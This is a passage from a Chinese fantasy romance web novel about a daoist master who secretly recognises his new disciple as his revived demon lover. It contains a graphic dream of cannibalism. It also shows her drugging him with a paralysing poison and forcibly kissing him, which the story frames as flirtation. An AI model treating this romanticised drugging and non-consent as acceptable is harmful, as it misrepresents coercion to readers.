但身体自己跟了上去,走在她身后,甚至不用他操控。 他该是疯魔了,被她逼疯的。 走到主殿前,成镜丢下一句话:“今晚早些休息。” 不等她回答,直接步入主殿,走了几步,又对她说了一句:“舞宝很容易激动,不可与她过多接触。” 北溯没放在心上,她还挺喜欢这个小姑娘,小姑娘主动来找她玩,她总不至于拒绝吧。 她望着主殿的门关上,里头窗户没寝殿那么大,看不见里头,不过扒着窗户往里面偷窥,被发现了也不太好,就回了寝殿。 那朵莲花不知用了什么法术,莲香依旧,这香气闻着倒是不觉得冲,还能安神。 寝殿内确实没什么东西,但也够用,况且她只是来查东西,不会住太久。 北溯躺了会,绕着指尖的邪气,邪气指向的方向正是主殿方位。这东西到底从何而来,又怎么会连在成镜身上? 她的死,也和成镜有关吗? 可惜自己现在实力不及成镜,不然还能把人绑了直接问。 还得再想想办法。 一个时辰后,一道响亮的声音传进来,北溯直起身往外走。 “爹爹我回来啦!张伯伯说我今天有进步,字比之前好看多了!” 鳞舞一走进,对上一双惊讶的眼。她也惊讶地张大眼,难以置信地看了好一会,听到那声舞宝,撒开脚丫子冲她跑过去。 “花花花花!你怎么在这里!” 北溯一把抱住冲过来的小姑娘,往上一抛,抱在怀里,捏了捏她的脸,笑道:“你猜猜。” 舞宝想了会,想不出来,使劲蹭了蹭阿娘,香香的,都是莲花的香味。 刚想到莲花,身后传来一道冷声:“舞宝,下来,站好。” 鳞舞一心虚,身子一抖,握紧了阿娘的手,嘟起嘴,小声说:“你放我下来吧,爹爹要生气啦。” 北溯放下小姑娘,望着从主殿里出来的男人,挑眉:“她叫舞宝?”还是得装一下。 舞宝使劲点头,“对!我就是舞宝!”不知道刚刚老爹有没有发现自己喊了花花,老爹应该还不知道她已经见过阿娘了吧…… 藕宝这个时候才进来,一眼看到北溯,惊呆了,两个莲子做的眼睛半晌没转动,看看成镜,再看看鳞舞,最后定格在北溯身上。 他慢了好多拍才反应过来。 呀,一家人团聚啦! 成镜一见舞宝与北溯那么亲密地贴在一块,好一会才唤她回来,还煞有介事地介绍:“这是我新收的弟子,她叫裴溯。” 舞宝哦了一声,乖乖站到成镜身旁,圆溜溜的大眼睛依旧瞅着她的阿娘,心里乐开了花。 那以后是不是可以天天见到阿娘了!爹爹的方法好厉害! 藕宝屁颠屁颠跑过来,不敢看北溯,在舞宝边上站好。 鳞舞这个时候才发现还有个藕宝,拉着他的藕臂,说“这是藕宝,他是我的小伙伴。” 北溯点了头,没看那只藕,只对小姑娘说:“你叫我花花就好。” 鳞舞双眼亮起来,立刻喊了声:“花花!” 成镜蹙眉,不太喜欢这个昵称,但鳞舞喊得开心,没有纠正。 “回去温习功课。” 一句话就将鳞舞的兴致说没了,她闷闷不乐地说了两个字:“好哦。”走之前还朝北溯挥了挥手,小声说:“我温习完功课就来找你!” 北溯没有拒绝。正如她所说,小姑娘主动,她怎么能拒绝。 鳞舞说完,飞快地瞄了眼成镜,发觉他没看自己,赶紧跑向自己寝殿。 “藕宝快来!” 小姑娘一走,外头就安静下来,北溯冲成镜笑了一下,旋即收了笑,走进寝殿内。 她的笑收得太快,但成镜依旧捕捉到了,这笑含着一丝挑衅,一般人看了定然会被激发怒气,直接冲上去。 但他没有。 他回味着那笑,走回主殿,这次没有关门。 过了一个时辰,北溯寝殿门口探出一个脑袋,小姑娘眨着大眼睛眼巴巴地望进来,等她看过去,立刻跳出来,站在门口,很有礼貌地问:“我可以进来吗?” 北溯失笑,朝她招手。 小姑娘立刻跑进来,窜到她面前,抱住她的腰,开始撒娇:“花花,功课好难学哦,张伯伯今天还责备我了,说我字写的不好看。” 北溯挑眉,捏着她的鼻子,开始唬人:“我怎么听说张伯伯夸你有进步呢?” 鳞舞挣脱开来,小声说:“那是我练了好几个时辰后张伯伯才稍微大方一点夸我的。” 北溯是看过她的鬼画符,但不知道她现在有没有进步,拿出纸笔让她重新写。 小姑娘接过纸笔迈开小短腿跑到桌边,爬到椅子上做好,姿势端正,背挺得笔直,和她爹像极了。 北溯没有走过去看,怕给她压力,等她写好了拿过来,这么一看,觉得写得很可以。 与名家相比差得远,但在同龄人里面已经很优秀了。 她不吝夸赞:“好看的。” “真的?”鳞舞高兴得蹦起来。 “真的。” 鳞舞激动得跑出去找藕宝,差点把阿娘喊出来,捂着嘴才忍住。 “花花说我字写的好看!” 藕宝也跟着高兴,刚要夸一句,成镜的身影出现在她们面前。 “该休息了,你明日还有早课。” 这声音一出,鳞舞不舍地冲北溯寝殿望去,没什么精神地说了声好哦,明天再见阿娘吧。 “那我可以和花花道一声晚安吗?”鳞舞眨着眼,满是期待,成镜点了头,她直接跑过去,站在门口说:“我要休息啦,明天再见。” 北溯嗯了一声,冲她摆手:“明天见。” 鳞舞一步三回头地回了自己寝殿,一眼看到老爹走进来,立刻收拾自己的东西,整理好布包。 “明日藕宝会叫你,早些休息。” “哦。” 门被关上,鳞舞想了想,双眼一亮,拿起纸笔继续练字,下次要让阿娘看到更好看的字! 夜渐深,六百多名弟子被安排好去处,分配到各自的弟子舍,一放松下来,很快陷入沉眠。 重莲殿内寂静得一丝声音也无。 可见的邪气忽然隐 匿,一道身影显现在寝殿内,立在床边,低头看着床上熟睡的人。 成镜瞥了眼还在散发香味的莲花,抬起手,按在北溯眉心。 他要看到她的过往,看到她,究竟是怎么死的,又是怎么复活的。 第58章 他没法看到她的过往,眼前所见,是黑夜,一道亮光划过,将这黑夜照亮,也让成镜看清了眼前的一切。 记忆一点点涌上来,潮水声在耳畔肆意翻滚,堵住他的双耳,海浪扑打身体,撞击得胸肺阵阵剧痛。 身体好似被坚硬的石块挤压,碎裂之后再复原,再挤压,不断地叫他尝到她当初的痛。 成镜都不敢往前踏一步,尽管知道这只是梦境,是假的,但还是无法阻止自己产生心疼她的念头。 从未见过这样的她。 初见时,她漫不经心,仿佛自己早就是她囊中之物,她只需轻轻一勾手,他就会臣服于她。 再后来,她带着戾气,屡次对他做那种事,一次比一次没有耐心,一次比一次粗鲁,即使她的力量在溃散,但她依旧游刃有余。 她即便是死,也要带着昆仑仙尊一起。 哪会像眼前所见的这般,脆弱,无助,绝望。曾经意气风发的她,好像被杀死了。 成镜颤着眼睫,张了唇,只觉得喉咙发涩,什么声音都发不出来。 他甚至无法控制自己的身体,连闭眼不看都做不到。 亮光隐去,周遭又是一片漆黑,窸窸窣窣的声音透过海浪传到耳中,那像是在啃咬吞咽着什么。 再黑,也阻挡不了成镜看清楚。 或许不是“看”,而是她的动作已经被刻在脑海里,没有光,他也知道面前的人在做些什么。 “滴答——” 有什么东西掉落到地面,空气中弥漫着黏糊的声音,像是双手在内脏里搅动,沾满粘液,一动,便是这种声音。 成镜动了动手,睁着眼,一直盯着她的方向,视线里只有模糊的黑影,看不到她的脸。 咀嚼的声音响起,听得人毛骨悚然,寒毛倒立,让他的身子紧绷得什么动作都做不出来。 吞咽声传来,那声音听着并未将嘴里的东西嚼碎,只是匆匆咬了几下,就囫囵吞下。 成镜不由得跟着一起做了吞咽的动作,然而喉咙干得发紧,无法吞咽。 黏糊的声音再起,那种吃带水的东西,被挤压过后炸出汁水。 成镜看清了那是什么。 一道闪电划过,照亮了周围。 灰烬之上,她蹲坐在一具尸体旁。那具尸体胸口是空的,扯断的血管干瘪,一滩一滩的血铺开,衣摆浸泡在里头,白衣都成了红。 她低着头,散乱的发丝满是污血,遮住她的脸和手,只能看到她在做啃咬的动作。 成镜无法控制自己的双眼移开,意识与身体分家,谁也控制不了谁。 耳畔是她艰难吞咽的声音,视线里她缓缓抬起头,望过来。 看清的那一瞬间,成镜几乎找不到自己的意识,也不知自己来时目的,直直看着。 她望过来,满脸的血渍与碎肉,粘着脸颊的碎发遮挡她的眼,那双翠绿的眼是灰蒙蒙的,呆滞的。 她捧着那颗被吃了一半的心脏,晶莹的泪被血沾污,下巴的血滴到手上。 她吃了同类的心。 呼吸被剥夺,如同搁浅的鱼的,只等着死亡降临。 成镜想要走过去,身体动不了,只能睁眼看着。 看着她用那双空洞的,看不见他的眼望着自己,视线穿透自己的身体,望向远方。 看那看不到任何希望的远方。 成镜想起了自己耗费太多的时间去生鳞舞,再出来时,她留下的禁阵已经没有了。 当时他就该意识到,她已经出事了。 也许在昆仑来之前,他该拼尽全力,提前生下鳞舞,再将她的阿娘绑起来,带回重莲殿囚禁,便不会发生后面的事。 她也不会,生出这样的惧怕之物。 她低了头,发丝挡住她的脸,掩藏她无意识泣泪的眼。 她张开被血充斥的口,再次咬下,黏腻的,恶心的声音再响,好似双手挤压内脏,浓稠的血爆出来。 成镜无法再忍,他几步走到她面前,极力忽略那被啃食的内脏,要去拉她的手。 但他拉了个空。 手从她身体里穿过去,没能阻止分毫。 这是个梦境,是她内心惧怕之景,是他无法触碰到的虚幻之物。 她死去的十年,他曾想过无数次,若是可以回到她死前,他会想尽办法保下她,将她囚禁,告诉昆仑的仙尊,他会看着她,会查清一切。 他也想过无数次可以复活她的办法。 凤鸣虽死,但他还活着,他是金莲,可以孕育生命,况且他本就是月神作为帮助北溯的后手而来到这世间的。 即便是要他换一种身份面对她,只要能让她活着,不管是什么身份,他都没关系。 可神魂已经无处可寻,没法复活她。 成镜以为自己可能不会再见到她,甚至打算在教会鳞舞怎么生存后,就去接着做北溯未成功的事。 可真就这么巧,他再次看到了她。 她换了个身份,换了个名字,当做以前的事都没有发生过,正大光明地、胆大包天地出现在他面前。 成镜在想,她怎么就这么自信,这么狂妄,真就以为他会认不出来她? 原来她不记得他了。 成镜低头,看到她吃那颗心,血顺着手滴落,她的衣裳已经看不出原本的颜色。 她在哭,没有哭声,连那眼泪也被血和发丝吸尽。 没有人知道她死时经历了什么,也没人知道她为了杀死昆仑仙尊,付出了怎样的代价。 即使现在他看到她能死而复生的原因,也没法做到庆幸,更无法为她复活而感到喜悦。他宁愿用自己的真身去复活她,那样至少不会满身的血,至少她不用背负同族的命。 甚至,他能在自己和她身上制造强烈的羁绊,这十年,她只会在自己的监视下复活。 成镜缓缓蹲下来,伸手去碰她的手。 他控制着自己颤抖的手,轻轻托住她手背,虚虚握着。然而碰到的只有空气,无尽的寒冷。 刻意忽视她啃食的声音,喉咙滚动,许久才找回自己声音。 “是他救的你,对吗?”在他去找凤鸣时,凤鸣已经救了她,以命为代价。 她听不见,不会回答。 滴落的血穿透他的掌心,好似冰锥,刺破心脏。 “可为何,我搜寻不到你的神魂。”他手指动了动,好似在摩挲她手背,“这十年,你在何处?” 没有人回答他,像是在自言自语。 他膝盖跪在血泊里,僵硬地托着她的手臂,背脊颤抖,声音越来越低,到最后都发不出声音来。 为什么要和他们同归于尽呢。 明明你有更好的选择。 用我来威胁他们,不是更好吗? 成镜想不通,正如他想不明白,当初她为何会盯上自己,只因为他是金莲吗? 那颗心被她吃完了。 她茫然站起来,往前走了几步。 周围再次陷入黑暗中,不过片刻,亮光炸开,成镜呼吸骤停,脑中轰鸣。 梦境重现,她对着他,啃食心脏,翠绿的眼里还有血。 “够了!” 成镜无法再看一遍。 已经够残忍,她没必要再经历一遍,他也没有办法再看下去。 她来时,是光彩夺目的,她能轻而易举将旁人的目光停留在 她身上,连死,都做出了叫人族多年难忘的壮烈之举。 她不该是梦境里这般,不该染上污血的腥臭。 她该是像那些梦境中的她一般,是妖冶的,是绚烂的。 成镜思绪一顿,忽然发觉,这些都是他想看到的她的模样。 咔嚓一声,梦境碎裂,那些难堪残忍的画面消散,一棵参天巨树耸入云端,阳光透过树叶缝隙洒下,细碎的树影摇曳,她躺在树干上,闭上眼休憩,神情悠闲。 远处鸟雀展翅,鸣叫声清脆悦耳。 一切显得那般恬静美好。 成镜怔愣看着眼前一幕,心口被扎了一般,泛起密密麻麻的痛。 这就是她心底的欲望。 如此简单,从未实现。 他慢慢走到树下,仰头看她,细碎的光影投射到他眼中,他张口,说了两个字。 顿了顿,又说:“好梦。” 梦境散去,女子熟睡的面容映入眼帘,成镜凝眸看她。殿外弯月升起,时间缓缓流逝,也不觉得自己看了她太久,已经超出师尊对徒弟的范畴。 他俯下身,伸手去碰她的手,梦境里曾沾满新鲜血的手,此刻白白净净,他却觉得还是不够,用清洁术清洁,看了好一会,凝出一朵莲花塞进她手里。 视线一转,落到她的唇上,不知是那唇的纹路吸引了他的目光,还是旁的,久久未移开眼。 他记得,她的唇覆盖上来时,柔软,时而冰凉,时而炽热。 成镜又凝了朵莲花,只有拇指大小,缓缓置入她口中,那莲花是灵力所凝,碰到唇便会自动融入她口中,可缓解疲倦。 指尖抵着她的唇撬开一条缝让莲花进入,做这些的时候没想太多。 待莲花入口,指腹泛起丝丝柔软的触感时,他僵住了身子,一动不动地望着自己的手,半晌都没回过神。 手好像,碰到了什么…… 成镜猛地起身,转身往外走。 走到关闭的殿门前才发觉,自己不是从大门进来的,背影都带着几分恼怒。 他的身影消失,去到了鳞舞寝殿。 藕宝挠挠脸,继续睡。 成镜走到鳞舞床边,将她快要滚下床的蛋壳拢到里头,再将她伸出床的胳膊拎回去,掖好被角。手背贴了贴她额间,温凉的。 他低声说:“你阿娘很辛苦,你要照顾好她。” 睡着的鳞舞当然听不见他说的话,他笑了笑,瞧着鳞舞的眉眼,这一刻,心终于安宁。 “你很像她。” 成镜一直觉得鳞舞像自己更多一点,那其实是因为下意识将北溯的容貌忘记,还有对她的恨,不愿承认北溯是她阿娘。 但现在,她一出现,所有有关她的记忆瞬间清晰。 “她知道了,该是会很高兴。” 此话刚说完,成镜冷了脸。他不会这么快告诉她,还没报复回去,她还忘了他。 怎么可能会叫她这么顺心。 成镜回到自己寝殿,褪下外袍,留了一件薄衫,躺下休息。 刚闭上眼,女子满眼是泪地一口一口吞下那颗心,他猛地睁眼,不住地喘气,坐起身捂住双眼。 一闭眼,全都是她。 寝殿内只有他急促的呼吸声,片刻后响起一声低笑。 他是疯了,才会想去知道她是怎么活的,她的活不活,与他有什么关系,死了才好,死了,就无人知道他那些不堪的过往。 月光透彻,寝殿门前投下他的影子。 成镜站在北溯寝殿外,一动不动地感知着她平稳的气息,直到弯月踪迹逐渐隐去,旭日升起,他的身影才消失。 不过一会,藕宝的声音响起:“舞宝!要起床啦!” 舞宝迷迷糊糊地揉了揉眼睛,刚睁开,一下就清醒了,立刻下床,两腿一动就要往外跑。 “我要去看阿娘!”她在心里想。 步子迈得飞快,藕宝都没反应过来。 跑到北溯寝殿门前时,忽然就紧张了,理了理自己的头发,再整理自己的衣衫,装模作样地咳了一声,然后敲门。 “花花,你醒了吗?” 她敲完,放下手,乖巧地站好。 里头没有声音,藕宝跟过来,小声说:“你起得太早啦,她还在睡呢。” “是哦,我有早课,花花没有。”鳞舞没有失望,反而更高兴了,“那我今天努力点,早点完成功课,早点回来!” 她跟着藕宝去收拾东西,洗漱好,再走到北溯寝殿外,张开口:“阿娘,我去上早课啦。”她没有发出声音,做出嘴型。 然后带着她的布包,一步三回头地和藕宝走上水栈。等俩人出了禁阵,这才齐齐想起来,还没有跟成镜道别。 “算了,爹爹应该也没起。” 往常她起来,老爹也起了,今天收拾了好久老爹都没出来,应该也是在睡。 “爹爹和阿娘多睡会吧。” 鳞舞拉着藕宝,走进水栈:“我们去上早课!” 成镜确实没起,他其实是未休息,昨晚在北溯身上发现了几处怪异之处,不想惊醒她,探查地慢了些,没查出根源在何处,只得帮她蕴养身子,灵力耗尽大半,罕见地再次感觉到当年被她折磨的疲倦。 且他还不能立刻休息,得等到她醒来,再次探查她的身体。 这一次是以师尊的身份,正大光明地看。 日上三竿时,终于感知到她气息波动,她醒了。 成镜等了会,待感知到她出了寝殿,才起身走向殿门,打开门,一步跨出去,却又很快收回来。 视线扫到身上薄衫,意识到衣衫忘记穿了。 他回去拿衣衫,刚要穿,眸光一闪,将其融了,换了一件。 北溯被成镜传音,叫去主殿。 一走进去,正对上莲台上盘坐的男人,他的装扮与昨日并无不同,只不过衣衫换了件蓝色的。 “你的弟子服。” 成镜抬手,递过来一件紫色衣衫,北溯伸手去接,没瞧见衣衫下他托着的手,顺手捋了一把。结果他一下把手抽走了,衣衫落到她手心。 那只她碰过的手被另一只手握住,成镜垂下双臂,衣袖遮住双手。 身体好像在躁动,他蹙着眉,低声呵斥:“在重莲殿行事,须得遵守重莲殿的规矩。” 北溯不解,不明白他怎么突然反应这么大,自己又没做什么。 “道宗将重莲殿的规矩告诉我,我便知道要怎么做了。” 重莲殿没有规矩,说规矩也只是唬她,以此来掩盖自己的异样。 成镜紧紧按住那只手,转移话题:“若是不满意弟子服,可告诉藕宝,它可以缝制其他款式。” 北溯没应这句话,只瞧着面前看着冰冷严肃的道君,缓缓问:“道君种的莲花还有安神的功效么,我昨晚竟是一个梦都未做,安眠到天亮。” 昨晚确实是她醒来后睡得最好的一次,好到令人怀疑,寝殿里是不是被下了迷药。 成镜面不改色道:“莲池内莲花确实有安神之效,也可疗伤。” 盯着他的眼没有移开视线,问完之后他也未曾有奇怪的表现,难道是她想多了? “那就谢谢道君了。”她接过衣衫,材质和款式都很考究,看得出来道宗对亲传弟子很重视。 她看了眼成镜,这人没再看她,垂着眼不知在看什么。 “舞宝去上早课了吗?” 北溯只看到他点了头。 “那我就去做道君昨日吩咐的任务了。”她说完,拿着弟子服就走,没有再待。走出主殿,再出了禁阵,成镜都没再说一句话。 在她的气息被禁阵隔绝后,成镜立刻回了寝殿,大门关上,他靠在门上,克制的呼吸释放,浑身邪气肆意弥漫,全都往外涌。 只是一次短短的肌肤接触,体内的邪气就想冲破他这具暂时的载体,回到她那。若是再碰到,他压制不住,邪气就会冲出去,全都往她身体里钻。 他还没查清她身体有无旁的伤势,这么多的力量一下涌进去,她能受得住吗? 成镜后背抵着门,莲台凝出,吸纳着灵力压制邪气。昨晚为帮她调养身子,耗费大半灵力,这才没能压制得住邪气。 他缓了好一会,挺直了身子,看自己的双手。 只要她并无其他要紧的伤,这股力量,他会还回去。 成镜没有再去主殿,在寝殿内坐于莲台上,继续吸纳灵气。 重莲殿安静下来,与往日并无区别。 没有她,他也只会在莲台上打坐。 有了鳞舞后,白日依旧寂静,只有早晨与晚上,才会热闹那一会。 重莲殿当然不会一直安静下去,北溯来道宗的目的就是探查邪气来源,找回记忆,怎么可能安分地去挖藕磨粉。 她挖了两块莲池,这藕确实不一般,晶莹剔透,瞧 着像宝石,灵气确实浓郁。 “要磨成粉给鳞舞喝吗……” 北溯朝远处小黑点看去,那就是鳞舞上早课的地方。 再转头看这些莲藕,她扬起笑。 蛇是有毒的,正巧她也有,这不就派上用场。 半个时辰后,北溯走到主殿前,里头没有人,再一瞧右边紧闭的殿门,看不出什么异样。 她端着精心熬制的藕粉,敲响了成镜的门。 “道君,我将莲藕磨成了粉,但拿捏不准精细度,便冲泡了一碗,你来看看?” 几乎是她说完,里头就传来成镜的声音:“不用。” 被拒绝,北溯没有放弃,继续纠缠:“这是要给舞宝喝的,磨的不好,很影响口感。” 北溯觉得自己该是很有耐心,往常遇到人族直接冲上去刀了,哪还会磨藕粉,还要泡出来。 “道君真的不试试吗?” 里头安静了会,片刻后北溯面前的门开了。 她端着碗走进去,偏头一看,他站在床边,向她望过来。 床对着窗,外头日光透进来,照在他身上,给他添了层金色光影,瞧着如那天上仙,煞是神圣。 北溯眨了眼,旋即蹙眉,走过去,将碗递到他面前,道:“道君尝尝?” 男人盯着她的眼,无声地打量她,缓缓抬手,两只扣住碗边,避开她的手,接过来。 北溯笑了笑,说:“道君尝尝味道。” 她的毒无色无味,也没什么毒性,最多么……麻痹神经,没法动弹罢了。 成镜移开视线,垂眸看碗里透明黏稠的液体,久久未喝。 “怎么了,是哪里不对?”北溯看了眼他的唇,想拿个东西直接撬开。 成镜只道:“没有调羹。” 北溯立刻变出个勺子给他,真难伺候。 成镜这才端着碗,在床边坐下,右手握住勺柄,舀了一勺,往口中送。 很甜的味道,似是为了刻意掩盖某些东西。 他抬眼望向身前的女子,她那期待的目光落下,叫人不忍心拆穿,尤其是,昨晚他刚亲眼看到那些。 “味道如何?” 他一声不吭地吃完,将碗递还给她,刚开口,浑身一麻,手松开,碗掉下。 成镜按着床沿勉强撑起身子,双眼直直盯着她,声音压抑:“你对我做了什么?” 北溯关了殿门,在寝殿外设置了结界,又在窗户那弄了东西挡住,做完这些,才回答成镜的问题:“只是一碗藕粉而已。” 她走到成镜面前,俯身瞧他。 她看着他此刻眼底逐渐升起的怒意,看到他手背上鼓起的青筋,袖口隐隐可见的肌肉线条,没想到他这么能忍,那么多剂量的毒都没能放倒他。 那就没必要绕弯子,直接问他。 北溯伸手,玉牌在成镜面前晃动,她摸了摸这块玉牌,想到自己遇到的那个所谓镜成,气笑了:“在招新比试时,道君就盯上我了吧?” 成镜呼吸一滞,听到她说:“镜成,就是你,对吗?” 第59章 玉牌轻晃,北溯对上他的眼,眼中笑意淡去,将玉牌扔在他手边,瞧着他这副被麻痹身子的虚弱模样,心头那被戏耍的恼怒只散了一点。 “道君这样的大人物,何故要费此周折,收我为徒?” 他只抿唇不言,双眸依旧盯着她,眼底的情绪北溯看不明白。 像是在怨她。 北溯很想问他,被戏弄的人是她,他有什么好埋怨的。 不过她是没想到自己的毒真的能放倒他,人族的入神境强者就是这样的?看起来也没多强。 要么就是他暂时被压制住,要么就是在藏拙。 “道君怎么不说话?” 一直弯腰有些累,北溯直起身,俯视他,前几次见都是她仰视,这次角色颠倒,倒是有种…… 眼前这个人,任她拿捏的错觉。 男人似乎恢复了些,撑着身子缓缓挺直,看向她的眼逐渐溢上凶意,“你既已知晓,还用我说些什么?” 北溯垂下眼帘,面无表情地看他。 这样没有感情的眼神投过来,成镜再极力忽视,也无法平静。 他不再看她,动了手,凝聚灵力去解毒。 北溯一见他动作,脑中飞快闪过一个念头,直接用邪气击向他的手,阻止他解毒。 她也只是想中断他使用灵力,谁知他反应很大地闷哼一声,双手撑在床上,发丝倾散,鲜红的发带蹭到他唇上,被他呼吸时不小心抿了进去。 他的唇动了动,将其吐出来,唇张开的幅度很小,但北溯还是捕捉到了那一闪而过的舌尖。 红艳艳的颜色。 眼中绿芒闪过,她在他再次使用灵力前,一步上前,膝盖抵在他腿间,双手按住他肩膀,稍一用力,将人按倒,在他变得惊异的目光中,覆上他的唇。 唇舌很轻松就将他的唇撬开,舌尖抵进去,舔了一下他的唇,感觉到他的身子颤动,双臂被他抓住,以为他要推开自己,当即将毒液渡到他口中。 这次没有混入藕粉里,直接注入,效果好了数倍。 北溯稍稍退开,看到他本能地吞咽,喉头滚动,唇角还有她留下的湿润痕迹。 “唔……” 再一抬眼,对上他颤个不停的睫羽,好奇地伸手戳了一下,他立刻闭上了眼,声音起起伏伏:“你,给我喂了什么?” 那液体味道清甜,清爽得像是薄荷叶。 北溯又戳了一下他的眼睫,不是硬的,很软,手心覆盖上去,他不停颤动的眼睫刮过掌心,痒痒的,还有股湿意。 她收回手,双臂撑在他身体两侧,瞧着他这副无力的模样,终于满意地弯起了眸。 “道君觉得我喂的是什么?” 北溯是没想到,这群人族修士眼里强大、威严的道君,竟然还有如此摄人心魂的一面。总是冷着脸,多可惜啊。 她在想,要不要趁机把人毒晕了,直接带回妖界,以此来威胁人界。 对人族的敌意还在,见到人族修士就想动手,这要是五百年前,她早就动手杀了那群修士。 不过嘛,这个得先放一放。 这副欲拒还迎的模样,把她一直藏在深处的某种隐秘的欲望都勾出来了。 这些年一直为保护妖界,从没有时间去想别的,更别说她这种,出生后就一直带在骨子里的奇特的癖好。 她想看禁欲美人哭出来。 越高不可攀,越高洁,越容易激发她的征服欲。 尤其他还是人夫唉,更刺激了。 也不知自己后来那些年,有没有遇到一个像眼前这个男人这般称心的。 指腹抹去他唇角的湿润,自他吞下她的毒液后,身体麻痹得动弹不了,连唇都是张开着的,一指宽的缝隙,更方便她做些什么。 北溯想了想,低头再碰了一下他的唇,在他睁开的眼注视下,笑了笑,“我的毒液。” “将我送入二重山的也是你吧?你知道我的身份。”北溯几乎与他摊牌了,并非鲁莽,而是在他身上感觉不到杀意,他不会杀她,最多也只是将她绑起来,囚禁而已。 至于为什么会这么觉得,全都是从他眼里看出来的。 在他重新睁开的眼中,闪过怒意,夹杂着她看不懂的情感,有种……像她在妖界看到一对熟悉对方已久的夫妻闹掰了,看对方的眼神,恨不得将对方的丑事抖落干净,再从对方嘴里听到“我错了”,就会和好。 北溯觉得自己还算得上是个对感情比较敏感的,一瞧见成镜这样的眼神,就想到了这样的比喻,但是好像在他身上也说不通。 他俩要是真见过,那该是会打得天崩地裂。 他早就说出她妖兽的身份,再将她关起来,严刑拷打,逼问她进道宗的目的。 而不是像现在这样—— 北溯仔仔细细瞧他。 而不是像现在这样,被她压倒,连反抗的力气都没有。 男人被 压在床上,发丝铺满床铺,床上没有多余的东西,这么一倒,平整得很。 没有头发遮挡,双耳露出来,若是仔细去看,他耳后已经红了一片,还在往下蔓延。 北溯推倒他的时候,膝盖压住了他的衣摆,这么一扯,衣衫下拉,纤长的脖颈完全暴露,锁骨凸出,脖颈处非同一般白皙的肌肤被衣领勒出红痕,看着像被抓了,有些暧昧。 北溯没有再往下看,抬手按了一下他的锁骨,听到他吸气声,疑惑望过去,“你还能感觉到痛?” 她的毒液不该是麻痹了他,他应该不会感觉到别的触感。 “放开我。”成镜说话时,唇很麻,使不上力气,咬牙切齿说出这句话,偏开头。 他躺在床上,不看她,没人知道他体内此刻焦灼的情况,邪气在冲撞灵脉,毒液麻痹身躯,灵力被挤压到狭小的空间,还有她触碰时带来的无法抑制的感觉,都在折磨他。 而他什么都做不了,无法疏解,更是难受。 “不行,”北溯觉得他有点奇怪,审视着他,慢慢说:“我还有很多谜题,需要道君帮我解开。” “比如,道君为什么知道我的身份,却未拆穿,又为何要变成旁人来接近我,还费尽心思让我拿到令牌。” 北溯等了好一会,没等到他说话。 他该是在挣扎,脖颈间浮起细密汗珠,不仔细看,发现不了。 想了想,她说:“也许我可以将你直接带回妖界,用妖界的手段逼问你,你该说了吧?” 男人依旧未言,眼睛看着她眨了几下,唇张开,只动了一下。 北溯反应过来,他可能是被她的毒毒麻了,说不了话。 她犹豫了一下,考虑要不要给他解毒,还是就这样带回妖界。 若是直接带走,她倒是有法子避开监视,不会触发护宗大阵,但将他带走了,舞宝没有他照顾,会被欺负吗…… 算了,先带回去,问清楚了再看情况要不要送回来,大不了把小姑娘一起带到妖界。 北溯直接动手,俯下身,双手抵着他胸膛,覆上他的唇,柔软的触感传递给大脑,她忍不住咬了一口,牙齿磨了磨,才再次往他口中渡毒液。 男人只能接受,吞咽下去,但他被毒液麻痹的身体反应慢了很多,毒液溢出来,顺着脸颊滑落,湿了发。 北溯稍微停了会,捏着他的衣袖去擦溢出来的毒液,随手一扔,视线凝在他红润的唇上。 好像被她咬得太用力了,有点肿。 “我这般冒犯道君,道君会不会很生气?” 男人好像瞪了她一眼,闭上双眼,被欺负了,还不能还手,看着真可怜。 北溯本来还没觉得有什么,只是咬了几下,程度太轻,刚要扯什么东西去绑他时,一偏头,瞧见他脸侧红得像柿子的耳,愣了好一会,才将视线转回他脸上。 不对劲。 他怎么这么容易耳红。 他不是有了孩子吗?这方面事应该是做过,怎么反应这么大。 “道君和你的妻子做这种事情时,也会耳红吗?” 北溯说完这句就觉得不对,预感刚起,只感觉到一股灵力爆开,身子被人扯住,短短一息间,人被反压。 男人的发丝垂下来,柔顺地擦过她的脸,北溯只觉得双臂有点疼,偏头一看,被他攥紧了。 他的手用力到骨节发白,小臂颤抖。 他果然是掩藏了实力,不可能轻易被她毒倒。 既然能解她的毒,为何还要装作被她控制,害她搁那表演了半天。 北溯扬起唇角,转头对上他的眼,笑着问他:“道君打算怎么处置我?” 成镜极力忍耐着体内冲撞的邪气,若非没有百分百确定她的身体没有任何问题,早就将这力量还给了她。 他只能忍着。 身体外露的反应对应着体内的痛苦,他无法控制自己的力道,攥得很紧,都不知道会弄疼她。 快要撑不住,成镜只想找个借口打发她走,再去囚牢将自己封锁,压下邪气。 环顾四周,寻找能用的上的东西,鲜红发带映入眼帘,他直接抽下发带注入禁锢阵法,直起身,攥住她双手,左手扼住她手腕,右手拿着发带绕了一圈又一圈。 他做这些的时候,完全没有想别的,反倒是被压的那个人震惊地望着他用发带绑自己的手,甚至眼里还露出隐隐的期待。 他的动作不粗鲁,相反,她只觉得温柔。 以她绑人族的手法,先踹几脚,用两手掌宽的粗绳绑,从脖颈勒到脚,还得勒紧,不留有余量。 哪会像他这般,用私密之物不说,系的也不紧,打劫的时候还特意留了余量,手腕都能转。 北溯挑眉,笑他:“道君这是在绑我?” 成镜喘了口气,听到她的话,低头去看,他还握着她的手腕,细腻的肌肤入手,先前没意识到,被她一句话吸引了注意力,指尖下意识摩挲,旋即一愣,立刻松了手,双手捏紧,移开眼不看她。 北溯真不觉得他有做这种亲密事的经验,好奇他孩子是怎么来的,怎么会一两句话就红了脸,更想欺负了。 怎么办,他被她短暂控制的时候,她能对他为所欲为。 他现在反压,还捆了她的手,怎么她还是能为所欲为。 “道君接下来要对我做什么?” 北溯被绑的手在他面前晃了晃,手指勾他垂在胸前的手,笑道:“是要将我的身份告诉道宗,叫他们来杀我,还是将我囚禁,关到那个囚牢里面?” 听到杀她的瞬间,成镜转头看她,一眼对上她被红发带绑住的手。 她举起双手勾他的发丝,衣袖垂下,光洁的手臂明晃晃露在他眼前。 她还笑得那么开心,一点都不在乎自己的死活。 成镜呼吸,喉咙里还有那股清甜的味道,再一想她对自己做的事,怒气涌上来。 即使忘了他,也会对他做那种羞耻的事,她是见到个男人,就会扑上去? 北溯,你可真会玩。 带着报复的心理压下身,成镜一手攥住她被发带缠住的手腕,举到她头顶压下去,一口狠狠咬住她的唇,像她每次对自己做的那样,咬痛她,趁她痛得张开唇时,舌尖扫过,抵开她的唇,下意识去寻找那份甘甜。 唇舌交缠,难舍难分,干柴烈火,一点就着。 成镜忽然退出去,隔了一拳距离,迷茫而又懵懂地盯着她的眼看,脸上的红晕更深。 